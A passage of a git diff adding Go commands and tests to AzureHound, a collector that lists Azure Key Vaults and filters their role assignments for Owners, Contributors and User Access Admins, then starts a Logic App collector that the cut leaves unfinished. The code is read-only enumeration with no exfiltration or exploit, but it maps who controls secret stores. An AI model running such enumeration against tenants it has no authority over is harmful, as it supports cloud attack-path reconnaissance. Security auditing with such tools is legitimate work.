--- /dev/null +++ b/cmd/list-key-vault-kvcontributors_test.go @@ -0,0 +1,76 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "testing" + + "github.com/bloodhoundad/azurehound/v2/client/mocks" + "github.com/bloodhoundad/azurehound/v2/constants" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/models/azure" + "go.uber.org/mock/gomock" +) + +func init() { + setupLogger() +} + +func TestListKeyVaultKVContributors(t *testing.T) { + ctrl := gomock.NewController(t) + defer ctrl.Finish() + ctx := context.Background() + + mockClient := mocks.NewMockAzureClient(ctrl) + + mockRoleAssignmentsChannel := make(chan azureWrapper[models.KeyVaultRoleAssignments]) + mockTenant := azure.Tenant{} + mockClient.EXPECT().TenantInfo().Return(mockTenant).AnyTimes() + channel := listKeyVaultKVContributors(ctx, mockRoleAssignmentsChannel) + + go func() { + defer close(mockRoleAssignmentsChannel) + + mockRoleAssignmentsChannel <- NewAzureWrapper( + enums.KindAZKeyVaultRoleAssignment, + models.KeyVaultRoleAssignments{ + KeyVaultId: "foo", + RoleAssignments: []models.KeyVaultRoleAssignment{ + { + RoleAssignment: azure.RoleAssignment{ + Name: constants.KeyVaultContributorRoleID, + Properties: azure.RoleAssignmentPropertiesWithScope{ + RoleDefinitionId: constants.KeyVaultContributorRoleID, + }, + }, + }, + }, + }, + ) + }() + + if _, ok := <-channel; !ok { + t.Fatalf("failed to receive from channel") + } + + if _, ok := <-channel; ok { + t.Error("should not have recieved from channel") + } +} diff --git a/cmd/list-key-vault-owners.go b/cmd/list-key-vault-owners.go new file mode 100644 index 0000000..3adb5d5 --- /dev/null +++ b/cmd/list-key-vault-owners.go @@ -0,0 +1,83 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "os" + "os/signal" + "time" + + "github.com/bloodhoundad/azurehound/v2/constants" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/internal" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/spf13/cobra" +) + +func init() { + listRootCmd.AddCommand(listKeyVaultOwnersCmd) +} + +var listKeyVaultOwnersCmd = &cobra.Command{ + Use: "key-vault-owners", + Long: "Lists Azure Key Vault Owners", + Run: listKeyVaultOwnersCmdImpl, + SilenceUsage: true, +} + +func listKeyVaultOwnersCmdImpl(cmd *cobra.Command, args []string) { + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + azClient := connectAndCreateClient() + log.Info("collecting azure key vault owners...") + start := time.Now() + subscriptions := listSubscriptions(ctx, azClient) + keyVaults := listKeyVaults(ctx, azClient, subscriptions) + kvRoleAssignments := listKeyVaultRoleAssignments(ctx, azClient, keyVaults) + panicrecovery.HandleBubbledPanic(ctx, stop, log) + stream := listKeyVaultOwners(ctx, kvRoleAssignments) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) +} + +func listKeyVaultOwners( + ctx context.Context, + kvRoleAssignments <-chan azureWrapper[models.KeyVaultRoleAssignments], +) <-chan any { + return pipeline.Map(ctx.Done(), kvRoleAssignments, func(ra azureWrapper[models.KeyVaultRoleAssignments]) any { + filteredAssignments := internal.Filter(ra.Data.RoleAssignments, kvRoleAssignmentFilter(constants.OwnerRoleID)) + + kvContributors := internal.Map(filteredAssignments, func(ra models.KeyVaultRoleAssignment) models.KeyVaultOwner { + return models.KeyVaultOwner{ + Owner: ra.RoleAssignment, + KeyVaultId: ra.KeyVaultId, + } + }) + + return NewAzureWrapper(enums.KindAZKeyVaultOwner, models.KeyVaultOwners{ + KeyVaultId: ra.Data.KeyVaultId, + Owners: kvContributors, + }) + }) +} diff --git a/cmd/list-key-vault-owners_test.go b/cmd/list-key-vault-owners_test.go new file mode 100644 index 0000000..c529689 --- /dev/null +++ b/cmd/list-key-vault-owners_test.go @@ -0,0 +1,76 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "testing" + + "github.com/bloodhoundad/azurehound/v2/client/mocks" + "github.com/bloodhoundad/azurehound/v2/constants" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/models/azure" + "go.uber.org/mock/gomock" +) + +func init() { + setupLogger() +} + +func TestListKeyVaultOwners(t *testing.T) { + ctrl := gomock.NewController(t) + defer ctrl.Finish() + ctx := context.Background() + + mockClient := mocks.NewMockAzureClient(ctrl) + + mockRoleAssignmentsChannel := make(chan azureWrapper[models.KeyVaultRoleAssignments]) + mockTenant := azure.Tenant{} + mockClient.EXPECT().TenantInfo().Return(mockTenant).AnyTimes() + channel := listKeyVaultOwners(ctx, mockRoleAssignmentsChannel) + + go func() { + defer close(mockRoleAssignmentsChannel) + + mockRoleAssignmentsChannel <- NewAzureWrapper( + enums.KindAZKeyVaultRoleAssignment, + models.KeyVaultRoleAssignments{ + KeyVaultId: "foo", + RoleAssignments: []models.KeyVaultRoleAssignment{ + { + RoleAssignment: azure.RoleAssignment{ + Name: constants.OwnerRoleID, + Properties: azure.RoleAssignmentPropertiesWithScope{ + RoleDefinitionId: constants.OwnerRoleID, + }, + }, + }, + }, + }, + ) + }() + + if _, ok := <-channel; !ok { + t.Fatalf("failed to receive from channel") + } + + if _, ok := <-channel; ok { + t.Error("should not have recieved from channel") + } +} diff --git a/cmd/list-key-vault-role-assignments.go b/cmd/list-key-vault-role-assignments.go new file mode 100644 index 0000000..c385d32 --- /dev/null +++ b/cmd/list-key-vault-role-assignments.go @@ -0,0 +1,129 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "fmt" + "os" + "os/signal" + "sync" + "time" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/config" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/spf13/cobra" +) + +func init() { + listRootCmd.AddCommand(listKeyVaultRoleAssignmentsCmd) +} + +var listKeyVaultRoleAssignmentsCmd = &cobra.Command{ + Use: "key-vault-role-assignments", + Long: "Lists Key Vault Role Assignments", + Run: listKeyVaultRoleAssignmentsCmdImpl, + SilenceUsage: true, +} + +func listKeyVaultRoleAssignmentsCmdImpl(cmd *cobra.Command, args []string) { + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + azClient := connectAndCreateClient() + log.Info("collecting azure key vault role assignments...") + start := time.Now() + subscriptions := listSubscriptions(ctx, azClient) + stream := listKeyVaultRoleAssignments(ctx, azClient, listKeyVaults(ctx, azClient, subscriptions)) + panicrecovery.HandleBubbledPanic(ctx, stop, log) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) +} + +func listKeyVaultRoleAssignments(ctx context.Context, client client.AzureClient, keyVaults <-chan interface{}) <-chan azureWrapper[models.KeyVaultRoleAssignments] { + var ( + out = make(chan azureWrapper[models.KeyVaultRoleAssignments]) + ids = make(chan string) + streams = pipeline.Demux(ctx.Done(), ids, config.ColStreamCount.Value().(int)) + wg sync.WaitGroup + ) + + go func() { + defer panicrecovery.PanicRecovery() + defer close(ids) + + for result := range pipeline.OrDone(ctx.Done(), keyVaults) { + if keyVault, ok := result.(AzureWrapper).Data.(models.KeyVault); !ok { + log.Error(fmt.Errorf("failed type assertion"), "unable to continue enumerating key vault role assignments", "result", result) + return + } else { + if ok := pipeline.Send(ctx.Done(), ids, keyVault.Id); !ok { + return + } + } + } + }() + + wg.Add(len(streams)) + for i := range streams { + stream := streams[i] + go func() { + defer panicrecovery.PanicRecovery() + defer wg.Done() + for id := range stream { + var ( + keyVaultRoleAssignments = models.KeyVaultRoleAssignments{ + KeyVaultId: id, + } + count = 0 + ) + for item := range client.ListRoleAssignmentsForResource(ctx, id, "", "") { + if item.Error != nil { + log.Error(item.Error, "unable to continue processing role assignments for this key vault", "keyVaultId", id) + } else { + keyVaultRoleAssignment := models.KeyVaultRoleAssignment{ + KeyVaultId: id, + RoleAssignment: item.Ok, + } + log.V(2).Info("found key vault role assignment", "keyVaultRoleAssignment", keyVaultRoleAssignment) + count++ + keyVaultRoleAssignments.RoleAssignments = append(keyVaultRoleAssignments.RoleAssignments, keyVaultRoleAssignment) + } + } + if ok := pipeline.Send(ctx.Done(), out, NewAzureWrapper(enums.KindAZKeyVaultRoleAssignment, keyVaultRoleAssignments)); !ok { + return + } + log.V(1).Info("finished listing key vault role assignments", "keyVaultId", id, "count", count) + } + }() + } + + go func() { + wg.Wait() + close(out) + log.Info("finished listing all key vault role assignments") + }() + + return out +} diff --git a/cmd/list-key-vault-role-assignments_test.go b/cmd/list-key-vault-role-assignments_test.go new file mode 100644 index 0000000..d94018e --- /dev/null +++ b/cmd/list-key-vault-role-assignments_test.go @@ -0,0 +1,106 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "fmt" + "testing" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/client/mocks" + "github.com/bloodhoundad/azurehound/v2/constants" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/models/azure" + "go.uber.org/mock/gomock" +) + +func init() { + setupLogger() +} + +func TestListKeyVaultRoleAssignments(t *testing.T) { + ctrl := gomock.NewController(t) + defer ctrl.Finish() + ctx := context.Background() + + mockClient := mocks.NewMockAzureClient(ctrl) + + mockKeyVaultsChannel := make(chan interface{}) + mockKeyVaultRoleAssignmentChannel := make(chan client.AzureResult[azure.RoleAssignment]) + mockKeyVaultRoleAssignmentChannel2 := make(chan client.AzureResult[azure.RoleAssignment]) + + mockTenant := azure.Tenant{} + mockError := fmt.Errorf("I'm an error") + mockClient.EXPECT().TenantInfo().Return(mockTenant).AnyTimes() + mockClient.EXPECT().ListRoleAssignmentsForResource(gomock.Any(), gomock.Any(), gomock.Any(), gomock.Any()).Return(mockKeyVaultRoleAssignmentChannel).Times(1) + mockClient.EXPECT().ListRoleAssignmentsForResource(gomock.Any(), gomock.Any(), gomock.Any(), gomock.Any()).Return(mockKeyVaultRoleAssignmentChannel2).Times(1) + channel := listKeyVaultRoleAssignments(ctx, mockClient, mockKeyVaultsChannel) + + go func() { + defer close(mockKeyVaultsChannel) + mockKeyVaultsChannel <- AzureWrapper{ + Data: models.KeyVault{}, + } + mockKeyVaultsChannel <- AzureWrapper{ + Data: models.KeyVault{}, + } + }() + go func() { + defer close(mockKeyVaultRoleAssignmentChannel) + mockKeyVaultRoleAssignmentChannel <- client.AzureResult[azure.RoleAssignment]{ + Ok: azure.RoleAssignment{ + Properties: azure.RoleAssignmentPropertiesWithScope{ + RoleDefinitionId: constants.KeyVaultContributorRoleID, + }, + }, + } + mockKeyVaultRoleAssignmentChannel <- client.AzureResult[azure.RoleAssignment]{ + Ok: azure.RoleAssignment{ + Properties: azure.RoleAssignmentPropertiesWithScope{ + RoleDefinitionId: constants.ContributorRoleID, + }, + }, + } + }() + go func() { + defer close(mockKeyVaultRoleAssignmentChannel2) + mockKeyVaultRoleAssignmentChannel2 <- client.AzureResult[azure.RoleAssignment]{ + Ok: azure.RoleAssignment{ + Properties: azure.RoleAssignmentPropertiesWithScope{ + RoleDefinitionId: constants.KeyVaultAdministratorRoleID, + }, + }, + } + mockKeyVaultRoleAssignmentChannel2 <- client.AzureResult[azure.RoleAssignment]{ + Error: mockError, + } + }() + + if result, ok := <-channel; !ok { + t.Fatalf("failed to receive from channel") + } else if len(result.Data.RoleAssignments) != 2 { + t.Errorf("got %v, want %v", len(result.Data.RoleAssignments), 2) + } + + if result, ok := <-channel; !ok { + t.Fatalf("failed to receive from channel") + } else if len(result.Data.RoleAssignments) != 1 { + t.Errorf("got %v, want %v", len(result.Data.RoleAssignments), 1) + } +} diff --git a/cmd/list-key-vault-user-access-admins.go b/cmd/list-key-vault-user-access-admins.go new file mode 100644 index 0000000..e0e2515 --- /dev/null +++ b/cmd/list-key-vault-user-access-admins.go @@ -0,0 +1,83 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "os" + "os/signal" + "time" + + "github.com/bloodhoundad/azurehound/v2/constants" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/internal" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/spf13/cobra" +) + +func init() { + listRootCmd.AddCommand(listKeyVaultUserAccessAdminsCmd) +} + +var listKeyVaultUserAccessAdminsCmd = &cobra.Command{ + Use: "key-vault-user-access-admins", + Long: "Lists Azure Key Vault User Access Admins", + Run: listKeyVaultUserAccessAdminsCmdImpl, + SilenceUsage: true, +} + +func listKeyVaultUserAccessAdminsCmdImpl(cmd *cobra.Command, args []string) { + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + azClient := connectAndCreateClient() + log.Info("collecting azure key vault user access admins...") + start := time.Now() + subscriptions := listSubscriptions(ctx, azClient) + keyVaults := listKeyVaults(ctx, azClient, subscriptions) + kvRoleAssignments := listKeyVaultRoleAssignments(ctx, azClient, keyVaults) + panicrecovery.HandleBubbledPanic(ctx, stop, log) + stream := listKeyVaultUserAccessAdmins(ctx, kvRoleAssignments) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) +} + +func listKeyVaultUserAccessAdmins( + ctx context.Context, + kvRoleAssignments <-chan azureWrapper[models.KeyVaultRoleAssignments], +) <-chan any { + return pipeline.Map(ctx.Done(), kvRoleAssignments, func(ra azureWrapper[models.KeyVaultRoleAssignments]) any { + filteredAssignments := internal.Filter(ra.Data.RoleAssignments, kvRoleAssignmentFilter(constants.UserAccessAdminRoleID)) + + kvContributors := internal.Map(filteredAssignments, func(ra models.KeyVaultRoleAssignment) models.KeyVaultUserAccessAdmin { + return models.KeyVaultUserAccessAdmin{ + UserAccessAdmin: ra.RoleAssignment, + KeyVaultId: ra.KeyVaultId, + } + }) + + return NewAzureWrapper(enums.KindAZKeyVaultUserAccessAdmin, models.KeyVaultUserAccessAdmins{ + KeyVaultId: ra.Data.KeyVaultId, + UserAccessAdmins: kvContributors, + }) + }) +} diff --git a/cmd/list-key-vault-user-access-admins_test.go b/cmd/list-key-vault-user-access-admins_test.go new file mode 100644 index 0000000..82f7c6e --- /dev/null +++ b/cmd/list-key-vault-user-access-admins_test.go @@ -0,0 +1,76 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "testing" + + "github.com/bloodhoundad/azurehound/v2/client/mocks" + "github.com/bloodhoundad/azurehound/v2/constants" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/models/azure" + "go.uber.org/mock/gomock" +) + +func init() { + setupLogger() +} + +func TestListKeyVaultUserAccessAdmins(t *testing.T) { + ctrl := gomock.NewController(t) + defer ctrl.Finish() + ctx := context.Background() + + mockClient := mocks.NewMockAzureClient(ctrl) + + mockRoleAssignmentsChannel := make(chan azureWrapper[models.KeyVaultRoleAssignments]) + mockTenant := azure.Tenant{} + mockClient.EXPECT().TenantInfo().Return(mockTenant).AnyTimes() + channel := listKeyVaultUserAccessAdmins(ctx, mockRoleAssignmentsChannel) + + go func() { + defer close(mockRoleAssignmentsChannel) + + mockRoleAssignmentsChannel <- NewAzureWrapper( + enums.KindAZKeyVaultRoleAssignment, + models.KeyVaultRoleAssignments{ + KeyVaultId: "foo", + RoleAssignments: []models.KeyVaultRoleAssignment{ + { + RoleAssignment: azure.RoleAssignment{ + Name: constants.UserAccessAdminRoleID, + Properties: azure.RoleAssignmentPropertiesWithScope{ + RoleDefinitionId: constants.UserAccessAdminRoleID, + }, + }, + }, + }, + }, + ) + }() + + if _, ok := <-channel; !ok { + t.Fatalf("failed to receive from channel") + } + + if _, ok := <-channel; ok { + t.Error("should not have recieved from channel") + } +} diff --git a/cmd/list-key-vaults.go b/cmd/list-key-vaults.go new file mode 100644 index 0000000..8596a4e --- /dev/null +++ b/cmd/list-key-vaults.go @@ -0,0 +1,130 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "fmt" + "os" + "os/signal" + "sync" + "time" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/client/query" + "github.com/bloodhoundad/azurehound/v2/config" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/spf13/cobra" +) + +func init() { + listRootCmd.AddCommand(listKeyVaultsCmd) +} + +var listKeyVaultsCmd = &cobra.Command{ + Use: "key-vaults", + Long: "Lists Azure Key Vaults", + Run: listKeyVaultsCmdImpl, + SilenceUsage: true, +} + +func listKeyVaultsCmdImpl(cmd *cobra.Command, args []string) { + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + azClient := connectAndCreateClient() + log.Info("collecting azure key vaults...") + start := time.Now() + stream := listKeyVaults(ctx, azClient, listSubscriptions(ctx, azClient)) + panicrecovery.HandleBubbledPanic(ctx, stop, log) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) +} + +func listKeyVaults(ctx context.Context, client client.AzureClient, subscriptions <-chan interface{}) <-chan interface{} { + var ( + out = make(chan interface{}) + ids = make(chan string) + streams = pipeline.Demux(ctx.Done(), ids, config.ColStreamCount.Value().(int)) + wg sync.WaitGroup + ) + + go func() { + defer panicrecovery.PanicRecovery() + defer close(ids) + + for result := range pipeline.OrDone(ctx.Done(), subscriptions) { + if subscription, ok := result.(AzureWrapper).Data.(models.Subscription); !ok { + log.Error(fmt.Errorf("failed type assertion"), "unable to continue enumerating key vaults", "result", result) + return + } else { + if ok := pipeline.Send(ctx.Done(), ids, subscription.SubscriptionId); !ok { + return + } + } + } + }() + + wg.Add(len(streams)) + for i := range streams { + stream := streams[i] + go func() { + defer panicrecovery.PanicRecovery() + defer wg.Done() + for id := range stream { + count := 0 + for item := range client.ListAzureKeyVaults(ctx, id, query.RMParams{Top: 999}) { + if item.Error != nil { + log.Error(item.Error, "unable to continue processing key vaults for this subscription", "subscriptionId", id) + } else { + // the embedded struct's values override top-level properties so TenantId + // needs to be explicitly set. + keyVault := models.KeyVault{ + KeyVault: item.Ok, + SubscriptionId: id, + ResourceGroup: item.Ok.ResourceGroupId(), + TenantId: item.Ok.Properties.TenantId, + } + log.V(2).Info("found key vault", "keyVault", keyVault) + count++ + if ok := pipeline.SendAny(ctx.Done(), out, AzureWrapper{ + Kind: enums.KindAZKeyVault, + Data: keyVault, + }); !ok { + return + } + } + } + log.V(1).Info("finished listing key vaults", "subscriptionId", id, "count", count) + } + }() + } + + go func() { + wg.Wait() + close(out) + log.Info("finished listing all key vaults") + }() + + return out +} diff --git a/cmd/list-key-vaults_test.go b/cmd/list-key-vaults_test.go new file mode 100644 index 0000000..9629d02 --- /dev/null +++ b/cmd/list-key-vaults_test.go @@ -0,0 +1,109 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "fmt" + "testing" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/client/mocks" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/models/azure" + "go.uber.org/mock/gomock" +) + +func init() { + setupLogger() +} + +func TestListKeyVaults(t *testing.T) { + ctrl := gomock.NewController(t) + defer ctrl.Finish() + ctx := context.Background() + + mockClient := mocks.NewMockAzureClient(ctrl) + + mockSubscriptionsChannel := make(chan interface{}) + mockKeyVaultChannel := make(chan client.AzureResult[azure.KeyVault]) + mockKeyVaultChannel2 := make(chan client.AzureResult[azure.KeyVault]) + + mockTenant := azure.Tenant{} + mockError := fmt.Errorf("I'm an error") + mockClient.EXPECT().TenantInfo().Return(mockTenant).AnyTimes() + mockClient.EXPECT().ListAzureKeyVaults(gomock.Any(), gomock.Any(), gomock.Any()).Return(mockKeyVaultChannel).Times(1) + mockClient.EXPECT().ListAzureKeyVaults(gomock.Any(), gomock.Any(), gomock.Any()).Return(mockKeyVaultChannel2).Times(1) + channel := listKeyVaults(ctx, mockClient, mockSubscriptionsChannel) + + go func() { + defer close(mockSubscriptionsChannel) + mockSubscriptionsChannel <- AzureWrapper{ + Data: models.Subscription{}, + } + mockSubscriptionsChannel <- AzureWrapper{ + Data: models.Subscription{}, + } + }() + go func() { + defer close(mockKeyVaultChannel) + mockKeyVaultChannel <- client.AzureResult[azure.KeyVault]{ + Ok: azure.KeyVault{}, + } + mockKeyVaultChannel <- client.AzureResult[azure.KeyVault]{ + Ok: azure.KeyVault{}, + } + }() + go func() { + defer close(mockKeyVaultChannel2) + mockKeyVaultChannel2 <- client.AzureResult[azure.KeyVault]{ + Ok: azure.KeyVault{}, + } + mockKeyVaultChannel2 <- client.AzureResult[azure.KeyVault]{ + Error: mockError, + } + }() + + if result, ok := <-channel; !ok { + t.Fatalf("failed to receive from channel") + } else if wrapper, ok := result.(AzureWrapper); !ok { + t.Errorf("failed type assertion: got %T, want %T", result, AzureWrapper{}) + } else if _, ok := wrapper.Data.(models.KeyVault); !ok { + t.Errorf("failed type assertion: got %T, want %T", wrapper.Data, models.KeyVault{}) + } + + if result, ok := <-channel; !ok { + t.Fatalf("failed to receive from channel") + } else if wrapper, ok := result.(AzureWrapper); !ok { + t.Errorf("failed type assertion: got %T, want %T", result, AzureWrapper{}) + } else if _, ok := wrapper.Data.(models.KeyVault); !ok { + t.Errorf("failed type assertion: got %T, want %T", wrapper.Data, models.KeyVault{}) + } + + if result, ok := <-channel; !ok { + t.Fatalf("failed to receive from channel") + } else if wrapper, ok := result.(AzureWrapper); !ok { + t.Errorf("failed type assertion: got %T, want %T", result, AzureWrapper{}) + } else if _, ok := wrapper.Data.(models.KeyVault); !ok { + t.Errorf("failed type assertion: got %T, want %T", wrapper.Data, models.KeyVault{}) + } + + if _, ok := <-channel; ok { + t.Error("should not have recieved from channel") + } +} diff --git a/cmd/list-logic-app-role-assignments.go b/cmd/list-logic-app-role-assignments.go new file mode 100644 index 0000000..5af69f2 --- /dev/null +++ b/cmd/list-logic-app-role-assignments.go @@ -0,0 +1,141 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "fmt" + "os" + "os/signal" + "path" + "sync" + "time" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/config" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/spf13/cobra" +) + +func init() { + listRootCmd.AddCommand(listLogicAppRoleAssignment) +} + +var listLogicAppRoleAssignment = &cobra.Command{ + Use: "logic-app-role-assignments", + Long: "Lists Azure Logic app Role Assignments", + Run: listLogicAppRoleAssignmentImpl, + SilenceUsage: true, +} + +func listLogicAppRoleAssignmentImpl(cmd *cobra.Command, args []string) { + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + if err := testConnections(); err != nil { + exit(err) + } else if azClient, err := newAzureClient(); err != nil { + exit(err) + } else { + log.Info("collecting azure logic app role assignments...") + start := time.Now() + subscriptions := listSubscriptions(ctx, azClient) + stream := listLogicAppRoleAssignments(ctx, azClient, listLogicApps(ctx, azClient, subscriptions)) + panicrecovery.HandleBubbledPanic(ctx, stop, log) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) + } +} + +func listLogicAppRoleAssignments(ctx context.Context, client client.AzureClient, logicapps <-chan interface{}) <-chan interface{} { + var ( + out = make(chan interface{}) + ids = make(chan string) + streams = pipeline.Demux(ctx.Done(), ids, config.ColStreamCount.Value().(int)) + wg sync.WaitGroup + ) + + go func() { + defer panicrecovery.PanicRecovery() + defer close(ids) + + for result := range pipeline.OrDone(ctx.Done(), logicapps) { + if logicapp, ok := result.(AzureWrapper).Data.(models.LogicApp); !ok { + log.Error(fmt.Errorf("failed type assertion"), "unable to continue enumerating logic app role assignments", "result", result) + return + } else { + if ok := pipeline.Send(ctx.Done(), ids, logicapp.Id); !ok { + return + } + } + } + }() + + wg.Add(len(streams)) + for i := range streams { + stream := streams[i] + go func() { + defer panicrecovery.PanicRecovery() + defer wg.Done() + for id := range stream { + var ( + 